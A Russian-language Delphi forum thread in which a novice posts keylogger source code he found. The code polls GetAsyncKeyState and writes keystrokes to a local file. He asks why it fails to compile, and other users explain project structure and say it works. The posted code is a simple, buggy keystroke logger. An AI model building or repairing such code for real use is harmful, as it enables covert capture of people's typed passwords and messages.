Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 19.10.2016, 23:56   #1
kyle16
Форумчанин
 
Регистрация: 18.12.2015
Сообщений: 141
По умолчанию Что не так с этим кейлоггером.

Решил на примере изучить кейлоггер. Вот нашел пример, вставил его в Rad Studio, а он пишет такое "Expected IMPLEMENTATION but received Begin at line 20". Долго ломал голову, что ж ему не хватает. Но знаний по Делфи маловато пока, потому решил тут спросить, если вам не трудно, взгляните на код и подскажите чего тут не хватает?
Код:
Program KLogger;

Uses Windows;

const FlName='kbd_report.txt';

wait=50;

var wndh:Cardinal;

wndtxt:array[0..255]of char;

wndclass:array[0..255]of char;

cstr:string='';

num:integer;

function izex(path: pchar):boolean;{проверка наличия файла на диске}

begin Result:=true; if GetFileAttributes(path)=DWord(-1) then result:=false;

end;

function ontop(wH:Cardinal):boolean;{проверка - является ли окно самым верхним}

begin Result:=(GetForegroundWindow()=wH);

end;

procedure writer(value:string);{запись значений нажатых клавиш на диск}

var F:TextFile;

i:integer;

begin

AssignFile(F,FLName);

if izex(FLName) then Append(F)

else

Rewrite(F);

for i:=1 to lemgth(value) do

write(F,value[i]);

CloseFile(F);

end;

BEGIN While true do

begin

wndh:=GetForegroundWindow();

while ontop(wndh) do begin For num:=8 to 90 do

begin if GetAsyncKeyState(i)=-$7FFF then if GetKeyState(i)<>0 then

cstr:=cstr+chr(i);

end;

end;

if cstr<>'' then writer(cstr); Sleep(wait); cstr:='';

end;

END.

Последний раз редактировалось Alex11223; 20.10.2016 в 09:49.
kyle16 вне форума Ответить с цитированием
Старый 20.10.2016, 01:53   #2
northener
ПШП
Участник клуба
 
Регистрация: 15.07.2013
Сообщений: 1,872
По умолчанию

Цитата:
Сообщение от kyle16 Посмотреть сообщение
Решил на примере изучить кейлоггер. Вот нашел пример, вставил его в Rad Studio, а он пишет такое "Expected IMPLEMENTATION but received Begin at line 20". Долго ломал голову, что ж ему не хватает. Но знаний по Делфи маловато пока, потому решил тут спросить, если вам не трудно, взгляните на код и подскажите чего тут не хватает?
Не хватает именно базовых знаний. Это если в "двух словах".
northener вне форума Ответить с цитированием
Старый 20.10.2016, 02:15   #3
kyle16
Форумчанин
 
Регистрация: 18.12.2015
Сообщений: 141
По умолчанию

Ну а что с кодом не так? Можете подсказать?
Знаю в паскале новичок, пока только год его изучаю. А делфи только пару занятий прошел.

Последний раз редактировалось kyle16; 20.10.2016 в 02:17.
kyle16 вне форума Ответить с цитированием
Старый 20.10.2016, 06:14   #4
Replicant
Форумчанин
 
Аватар для Replicant
 
Регистрация: 17.08.2009
Сообщений: 139
По умолчанию

Цитата:
Сообщение от kyle16 Посмотреть сообщение
Ну а что с кодом не так? Можете подсказать?
Знаю в паскале новичок, пока только год его изучаю. А делфи только пару занятий прошел.
Вам компилятор четко сказал, не хватает раздела IMPLEMENTATION
Создайте голый проект Delphi и посмотри на его структуру.
Replicant вне форума Ответить с цитированием
Старый 20.10.2016, 09:35   #5
p51x
Старожил
 
Регистрация: 15.02.2010
Сообщений: 15,709
По умолчанию

Та ладно, видно же, что код написан в паскалевском стиле. Убивает юнит1 из проекта, открываете файл, где у вас program ... , и впихиваете это туда.
p51x вне форума Ответить с цитированием
Старый 20.10.2016, 11:53   #6
kyle16
Форумчанин
 
Регистрация: 18.12.2015
Сообщений: 141
По умолчанию

так он не работает, от того что как паскаль, или в нем недочеты есть, и надо дописывать что-то?
kyle16 вне форума Ответить с цитированием
Старый 20.10.2016, 12:00   #7
p51x
Старожил
 
Регистрация: 15.02.2010
Сообщений: 15,709
По умолчанию

Так оно ж работает, скомпилируйте и попробуйте
p51x вне форума Ответить с цитированием
Старый 20.10.2016, 13:06   #8
kyle16
Форумчанин
 
Регистрация: 18.12.2015
Сообщений: 141
По умолчанию

так что вы изменили, что у вас он заработал? program на unit поменяли только?
kyle16 вне форума Ответить с цитированием
Старый 20.10.2016, 13:44   #9
p51x
Старожил
 
Регистрация: 15.02.2010
Сообщений: 15,709
По умолчанию

Я ж вроде все написал...
1. В меню ищете, где показывается список юнитов - убиваете все юниты.
2. В меню кликаете что-то типа View | Project Source и вам откроется стартовый файл вашей программы с program и прочей лабудой.
3. Удаляете там не нужное и пишите свой код
p51x вне форума Ответить с цитированием
Старый 20.10.2016, 20:09   #10
kyle16
Форумчанин
 
Регистрация: 18.12.2015
Сообщений: 141
По умолчанию

В этом коде нашлось несколько синтаксических ошибок, я их поправил, например
1. lemgth(value) поменял на length(value),
2. while ontop(wndh)=true do begin For num:=8 to 90 do, (а что тут такое wndh?)
не ошибка ли BEGIN While true do?

И на слово Interface Rad Studio ругается. Я его и убрал. Так теперь пишет Error in Module Unit1: Declaration of class TForm is missing or incorrect.
kyle16 вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Что не так с этим скриптом? mkostoevr Общие вопросы C/C++ 7 15.10.2016 00:22
что не так с этим c#. Работа с куки Lolidze C# (си шарп) 3 15.08.2016 17:32
Что делать с этим процессом, WinXP Gogent Операционные системы общие вопросы 1 28.03.2012 16:31
Plugin и все что с этим связано Mitriy Win Api 9 13.12.2007 10:53